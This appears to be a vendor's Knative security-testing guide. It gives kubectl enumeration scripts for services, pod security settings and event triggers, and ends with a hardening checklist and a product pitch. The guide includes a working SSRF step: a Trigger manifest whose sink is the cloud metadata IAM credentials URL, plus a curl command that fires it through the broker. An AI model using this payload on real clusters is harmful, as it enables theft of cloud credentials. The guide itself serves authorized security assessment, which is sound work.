Knative Security Testing: Serverless Container Escape, RBAC Escalation, and Event Source Abuse

Knative extends Kubernetes with serverless capabilities through Knative Serving (HTTP request-driven workloads that scale to zero) and Knative Eventing (event-driven architectures using CloudEvents). Security concerns unique to Knative include the scale-to-zero model creating cold start timing attacks, traffic splitting enabling shadow request capture, CloudEvents broker/trigger acting as an SSRF amplifier when sinks accept arbitrary URLs, permissive pod security allowing privileged container deployment, and RBAC policies that grant excessive service create/update permissions enabling arbitrary workload deployment. This guide covers systematic Knative security assessment.

Table of Contents

  1. Knative Serving Security Testing
  2. RBAC Over-Privilege for Service Deployment
  3. Pod Security and Container Privilege Escalation
  4. Knative Eventing CloudEvents SSRF
  5. Traffic Split and Shadow Traffic Abuse
  6. Ingress Gateway Bypass Testing
  7. Knative Security Hardening

Knative Serving Security Testing

# Knative Serving manages serverless workloads (Services, Configurations, Revisions)
# Test what can be deployed and how containers are configured

# List all Knative Services
kubectl get ksvc -A 2>/dev/null | grep -v "^NAMESPACE"

# Get Knative Service details including pod spec
kubectl get ksvc payment-api -n production -o json 2>/dev/null | python3 -c "
import json,sys
r = json.load(sys.stdin)
spec = r.get('spec',{}).get('template',{}).get('spec',{})
containers = spec.get('containers',[])
for c in containers:
    sc = c.get('securityContext',{})
    print(f'Container: {c.get(\"name\",\"?\")}')
    print(f'  Privileged: {sc.get(\"privileged\",False)}')
    print(f'  runAsRoot: {sc.get(\"runAsNonRoot\",True) == False}')
    print(f'  AllowPrivilegeEsc: {sc.get(\"allowPrivilegeEscalation\",True)}')
    print(f'  Capabilities add: {sc.get(\"capabilities\",{}).get(\"add\",[])}')
"

# Check autoscaling configuration
kubectl get ksvc -A -o json 2>/dev/null | python3 -c "
import json,sys
r = json.load(sys.stdin)
for svc in r.get('items',[]):
    annotations = svc.get('spec',{}).get('template',{}).get('metadata',{}).get('annotations',{})
    min_scale = annotations.get('autoscaling.knative.dev/minScale','0')
    if min_scale == '0':
        name = svc['metadata']['name']
        ns = svc['metadata']['namespace']
        print(f'Scale-to-zero enabled: {ns}/{name} (cold start timing attacks possible)')
"

Knative Eventing CloudEvents SSRF

# Knative Eventing routes CloudEvents through Brokers and Triggers to Sinks
# If a Trigger sink URL is user-controlled, it acts as an SSRF vector

# List all Triggers and their sink URLs
kubectl get triggers -A -o json 2>/dev/null | python3 -c "
import json,sys
r = json.load(sys.stdin)
for t in r.get('items',[]):
    ns = t['metadata']['namespace']
    name = t['metadata']['name']
    subscriber = t.get('spec',{}).get('subscriber',{})
    uri = subscriber.get('uri','')
    ref = subscriber.get('ref',{})
    print(f'Trigger: {ns}/{name}')
    if uri:
        print(f'  Sink URI: {uri}')
    else:
        print(f'  Sink Ref: {ref.get(\"kind\",\"?\")} {ref.get(\"name\",\"?\")}')
"

# If you can create a Trigger (requires eventing.knative.dev/triggers:create permission):
# Create a Trigger pointing to an internal service URL for SSRF
cat << 'EOF' | kubectl apply -f - 2>/dev/null
apiVersion: eventing.knative.dev/v1
kind: Trigger
metadata:
  name: ssrf-trigger
  namespace: test-namespace
spec:
  broker: default
  subscriber:
    uri: http://169.254.169.254/latest/meta-data/iam/security-credentials/
EOF

# Send a CloudEvent to the broker (triggers the SSRF)
curl -v "http://broker-ingress.knative-eventing.svc.cluster.local/test-namespace/default" \
  -X POST \
  -H "Ce-Specversion: 1.0" \
  -H "Ce-Type: test.probe" \
  -H "Ce-Source: /test" \
  -H "Ce-Id: probe-001" \
  -H "Content-Type: application/json" \
  -d '{}' 2>/dev/null | head -10

Knative Security Hardening

Knative Security Hardening Checklist:
Security TestMethodRisk
Privileged container in Knative ServiceCheck securityContext on Knative Service pod templateCritical
RBAC allows arbitrary Knative Service deploymentTest service create/update in restricted namespacesHigh
Trigger sink URI SSRFCreate Trigger with internal metadata URL as sinkHigh
Traffic split capturing shadow trafficCreate revision receiving 0% traffic — still gets shadow requestsMedium
Knative Service accessible without authcurl Knative Service URL without credentialsMedium
Scale-to-zero cold start timing oracleMeasure response time differences for cold vs warm requestsLow

Automate Knative Security Testing

Ironimo tests Knative deployments for container privilege escalation, RBAC over-privilege enabling arbitrary workload deployment, CloudEvents SSRF via Trigger sink manipulation, traffic split shadow capture, ingress gateway bypass, and pod security misconfigurations across Serving and Eventing components.

Start free scan